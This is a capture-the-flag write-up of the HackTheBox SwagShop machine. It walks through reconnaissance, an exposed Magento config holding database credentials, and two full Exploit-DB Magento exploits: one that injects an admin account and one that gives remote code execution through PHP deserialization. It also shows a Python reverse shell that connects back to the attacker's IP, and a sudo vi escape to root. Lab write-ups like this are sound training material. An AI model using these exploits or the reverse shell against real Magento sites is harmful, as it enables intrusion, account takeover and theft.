jebidiah-anthony
write-ups and what not
HTB SWAGSHOP (10.10.10.140) MACHINE WRITE-UP
TABLE OF CONTENTS
- PART 1 : INITITAL RECON
- PART 2 : PORT ENUMERATION
- PART 3 : EXPLOITATION
- PART 4 : GENERATE A SHELL
- PART 5 : PRIVILEGE ESCALATION (www-data -> root)
PART 1 : INITITAL RECON
$ nmap --min-rate 700 -p- -v 10.10.10.140
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
$ nmap -p 22,80 -sC -sV -v 10.10.10.140
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
| 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 88733EE53676A47FC354A61C32516E82
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
PART 2 : PORT ENUMERATION
PORT 80 (Magento)
-
http://10.10.10.140/
:There is a
Magento
service running on port 80.Trying to register an account in
http://10.10.10.140/
brings you tohttp://10.10.10.140/index.php/customer/account/create/
and if you’ll notice,/index.php
is not only an endpoint but also serves as a directory. -
Wappalyzer (Firefox plugin):
eCommerce Programming Language Database Web Server Operating System Magento PHP MySQL Apache 2.14.18 Ubuntu -
gobuster
on/
:$ gobuster dir -u http://10.10.10.140 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt /media (Status: 301) /includes (Status: 301) /lib (Status: 301) /app (Status: 301) /js (Status: 301) /shell (Status: 301) /skin (Status: 301) /var (Status: 301) /errors (Status: 301)
-
http://10.10.10.140/app/etc/local.xml
:<install> <date>Wed, 08 May 2019 07:23:09 +0000</date> </install> <crypt> <key>b355a9e0cd018d3f7f03607141518419</key> </crypt> <disable_local_modules>false</disable_local_modules> <resources> <db><table_prefix></table_prefix></db> <default_setup> <connection> <host>localhost</host> <username>root</username> <password>fMVWh7bDHpgZkyfqQXreTjU9</password> <dbname>swagshop</dbname> <initStatements>SET NAMES utf8</initStatements> <model>mysql4</model> <type>pdo_mysql</type> <pdoType></pdoType> <active>1</active> </connection> </default_setup> </resources>
There is a Magento config file on
http://10.10.10.140/app/etc/local.xml
. gobuster
on/index.php
:$ gobuster dir -u http://10.10.10.140/index.php -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt /home (Status: 200) /0 (Status: 200) /contacts (Status: 200) /catalog (Status: 302) /admin (Status: 200) /Home (Status: 200) /core (Status: 200) /install (Status: 302) /cms (Status: 200) /api (Status: 200) /checkout (Status: 302) /wishlist (Status: 302)
-
http://10.10.10.140/index.php/admin
:There is a login page to access the Admin Panel
PART 3 : EXPLOITATION
-
searchsploit
:$ searchsploit magento --------------------------------------------------------------------------------------------------------- ---------------------------------------- Exploit Title | Path | (/usr/share/exploitdb/) ------------------------------------------------------------------------------------------------------------------------------------------------- Magento 1.2 - '/app/code/core/Mage/Admin/Model/Session.php?login['Username']' Cross-Site Scripting | exploits/php/webapps/32808.txt Magento 1.2 - '/app/code/core/Mage/Adminhtml/controllers/IndexController.php?email' Cross-Site Scripting | exploits/php/webapps/32809.txt Magento 1.2 - 'downloader/index.php' Cross-Site Scripting | exploits/php/webapps/32810.txt Magento < 2.0.6 - Arbitrary Unserialize / Arbitrary Write File | exploits/php/webapps/39838.php Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution | exploits/php/webapps/37811.py Magento Server MAGMI Plugin - Multiple Vulnerabilities | exploits/php/webapps/35996.txt Magento Server MAGMI Plugin 0.7.17a - Remote File Inclusion | exploits/php/webapps/35052.txt Magento eCommerce - Local File Disclosure | exploits/php/webapps/19793.txt Magento eCommerce - Remote Code Execution | exploits/xml/webapps/37977.py eBay Magento 1.9.2.1 - PHP FPM XML eXternal Entity Injection | exploits/php/webapps/38573.txt eBay Magento CE 1.9.2.1 - Unrestricted Cron Script (Code Execution / Denial of Service) | exploits/php/webapps/38651.txt --------------------------------------------------------------------------------------------------------- ----------------------------------------
Since this box is rated with a
9/10
for CVE by the box creator, this should be a step in the right directionexploits/php/webapps/37811.py
andexploits/xml/webapps/37977.py
might be of interest due to their high severity.exploits/xml/webapps/37977.py
creates an admin account with credentials,forme : forme
, if the Magento service running is vulnerable.exploits/php/webapps/37811.py
is an authenticated remote code execution exploit.The two exploits mentioned above seem to go hand in hand with each other.
- Create an admin account using
37977.py
:- Download the exploit:
$ searchsploit -m exploits/xml/webapps/37977.py Exploit: Magento eCommerce - Remote Code Execution URL: https://www.exploit-db.com/exploits/37977 Path: /usr/share/exploitdb/exploits/xml/webapps/37977.py File Type: ASCII text, with CRLF line terminators Copied to: /root/Desktop/htb_boxes/SwagShop/exploits/37977.py
- Inspect the exploit:
# ...omitted... import requests import base64 import sys target = "http://target.com/" if not target.startswith("http"): target = "http://" + target if target.endswith("/"): target = target[:-1] target_url = target + "/admin/Cms_Wysiwyg/directive/index/" q=""" SET @SALT = 'rp'; SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT )); SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL; INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW()); INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname'); """ query = q.replace("\n", "").format(username="forme", password="forme") pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query) # e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is r = requests.post(target_url, data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ", "filter": base64.b64encode(pfilter), "forwarded": 1}) if r.ok: print "WORKED" print "Check {0}/admin with creds forme:forme".format(target) else: print "DID NOT WORK" # ...omitted...
- Tweak the exploit:
# [CHANGE] target = "http://target.com/" # [TO] target = "http://10.10.10.140/index.php/"
- Run the exploit:
$ python 37977.py WORKED Check http://10.10.10.140/index.php/admin with creds forme:forme
- Download the exploit:
-
Login using the created credentials on
http://10.10.10.140/index.php/admin
: - Attempt Remote Code Execution using
37811.py
:- Download the exploit:
$ searchsploit -m exploits/php/webapps/37811.py Exploit: Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution URL: https://www.exploit-db.com/exploits/37811 Path: /usr/share/exploitdb/exploits/php/webapps/37811.py File Type: Python script, ASCII text executable, with CRLF line terminators Copied to: /root/Desktop/htb_boxes/SwagShop/exploits/37811.py
- Inspect the exploit:
# ...omitted... from hashlib import md5 import sys import re import base64 import mechanize def usage(): print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\"" sys.exit() if len(sys.argv) != 3: usage() # Command-line args target = sys.argv[1] arg = sys.argv[2] # Config. username = '' password = '' php_function = 'system' # Note: we can only pass 1 argument to the function install_date = 'Sat, 15 Nov 2014 20:27:57 +0000' # This needs to be the exact date from /app/etc/local.xml # POP chain to pivot into call_user_exec payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \ '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \ 'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"' \ 'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00' \ '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \ ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function, len(arg), arg) # Setup the mechanize browser and options br = mechanize.Browser() #br.set_proxies({"http": "localhost:8080"}) br.set_handle_robots(False) request = br.open(target) br.select_form(nr=0) br.form.new_control('text', 'login[username]', {'value': username}) # Had to manually add username control. br.form.fixup() br['login[username]'] = username br['login[password]'] = password br.method = "POST" request = br.submit() content = request.read() url = re.search("ajaxBlockUrl = \'(.*)\'", content) url = url.group(1) key = re.search("var FORM_KEY = '(.*)'", content) key = key.group(1) request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key) tunnel = re.search("src=\"(.*)\?ga=", request.read()) tunnel = tunnel.group(1) payload = base64.b64encode(payload) gh = md5(payload + install_date).hexdigest() exploit = tunnel + '?ga=' + payload + '&h=' + gh try: request = br.open(exploit) except (mechanize.HTTPError, mechanize.URLError) as e: print e.read()
- Tweak the exploit:
# [CHANGE] username = '' password = '' # ... install_date = 'Sat, 15 Nov 2014 20:27:57 +0000' # ... request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key) [TO] username = 'forme' password = 'forme' # ... install_date = 'Wed, 08 May 2019 07:23:09 +0000' # ... request = br.open(url + 'block/tab_orders/period/1y/?isAjax=true', data='isAjax=false&form_key=' + key)
The
install_date
could be found on the Magento config (/app/etc/local.xml
) found earlier.It was reuired to change
.../7d/...
to.../1y/...
since the exploit’s query should return a value in order to work and there were no recorded transactions in the Magento service in the past 7 days; however, there were transactions within the year since the box was released and this write-up was posted.Valid options are
24h
,7d
,1m
,1y
, and2y
. - Run the exploit:
$ python 37811.py http://10.10.10.140/index.php/admin "id" uid=33(www-data) gid=33(www-data) groups=33(www-data)
- Download the exploit:
PART 4 : GENERATE A SHELL
- Set-up a listener:
$ nc -lvp 4444 listening on [any] 4444 ...
- Run a python reverse shell using
37811.py
:$ ifconfig tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500 inet 10.10.14.16 netmask 255.255.254.0 destination 10.10.14.16 ...omitted... $ python 37811.py http://10.10.10.140/index.php/admin "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.16\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
There seems to be no
python2
inside the box but at least, there ispython3
. - Going back to the listener:
10.10.10.140: inverse host lookup failed: Unknown host connect to [10.10.14.16] from (UNKNOWN) [10.10.10.140] 40060 /bin/sh: 0: can't access tty; job control turned off $ uname -nopr swagshop 4.4.0-146-generic x86_64 GNU/Linux $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ python -h /bin/sh: 9: python: not found
PART 5 : PRIVILEGE ESCALATION (www-data -> root)
- Check for commands that could be executed with
sudo
:$ sudo -l Matching Defaults entries for www-data on swagshop: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on swagshop: (root) NOPASSWD: /usr/bin/vi /var/www/html/*
- Run
python3
’s pty module:$ python3 -c 'import pty; pty.spawn("/bin/bash")'
- Run
/usr/bin/vi
usingsudo
:$ sudo /usr/bin/vi /var/www/html/ggwp
- Execute commands while inside vim:
~ ~ ~ ~ ~ ~ ~ ~ :!/bin/bash
- Now having a root shell:
# cat /home/*/user.txt a448........................bac8 # cat /root/root.txt c2b0........................6721 ___ ___ /| |/|\| |\ /_| ´ |.` |_\ We are open! (Almost) | |. | | |. | Join the beta HTB Swag Store! |___|.__| https://hackthebox.store/password PS: Use root flag as password!